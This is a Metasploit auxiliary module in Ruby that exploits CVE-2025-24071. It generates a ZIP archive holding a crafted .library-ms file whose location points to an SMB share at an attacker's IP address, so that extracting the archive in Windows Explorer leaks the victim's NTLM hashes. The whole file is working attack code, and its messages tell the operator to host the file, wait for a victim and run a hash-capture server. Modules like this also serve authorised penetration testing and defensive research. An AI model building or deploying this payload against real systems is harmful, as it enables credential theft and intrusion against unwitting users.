##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::FILEFORMAT
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2025-24071 NTLM Hash Leak via .library-ms File',
      'Description'    => %q{
        This module exploits CVE-2025-24071, a vulnerability in Windows Explorer that leaks NTLM hashes
        when a malicious .library-ms file is extracted from a ZIP archive. The module generates a ZIP
        file containing a .library-ms file that triggers an SMB request to the attacker's IP address.
        This module was developed by FOLKS-IWD.
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['FOLKS-IWD'],
      'References'     =>
        [
          ['CVE', '2025-24071'],
          ['URL', 'https://cti.monster/blog/2025/03/18/CVE-2025-24071.html']
        ],
      'DisclosureDate' => '2025-03-18',
      'DefaultOptions' => {
        'FILENAME' => 'exploit.zip'
      }
    ))

    register_options([
      OptString.new('FILENAME', [true, 'The name of the ZIP file to create', 'exploit.zip']),
      OptString.new('ATTACKER_IP', [true, 'The IP address to which the SMB request will be sent']),
      OptString.new('LIBRARY_NAME', [true, 'The name of the .library-ms file', 'malicious.library-ms']),
      OptString.new('SHARE_NAME', [true, 'The SMB share name to use in the .library-ms file', 'shared'])
    ])
  end

  def run
    # Generate the malicious .library-ms file
    library_content = <<~XML
      <?xml version="1.0" encoding="UTF-8"?>
      <libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
        <searchConnectorDescriptionList>
          <searchConnectorDescription>
            <simpleLocation>
              <url>\\\\#{datastore['ATTACKER_IP']}\\#{datastore['SHARE_NAME']}</url>
            </simpleLocation>
          </searchConnectorDescription>
        </searchConnectorDescriptionList>
      </libraryDescription>
    XML

    library_file_name = datastore['LIBRARY_NAME']
    File.write(library_file_name, library_content)

    # Create the ZIP archive
    zip_name = datastore['FILENAME']
    require 'zip'
    Zip::File.open(zip_name, Zip::File::CREATE) do |zipfile|
      zipfile.add(library_file_name, library_file_name)
    end

    # Clean up the .library-ms file
    File.delete(library_file_name)

    print_status("Malicious ZIP file created: #{zip_name}")
    print_status("Host the file and wait for the victim to extract it.")
    print_status("Ensure you have an SMB capture server running to collect NTLM hashes.")

    # Report the file creation
    report_note(
      host: datastore['ATTACKER_IP'],
      type: 'ntlm_hash_leak.exploit_file',
      data: "Malicious ZIP file created: #{zip_name}",
      update: :unique_data
    )
  end
end
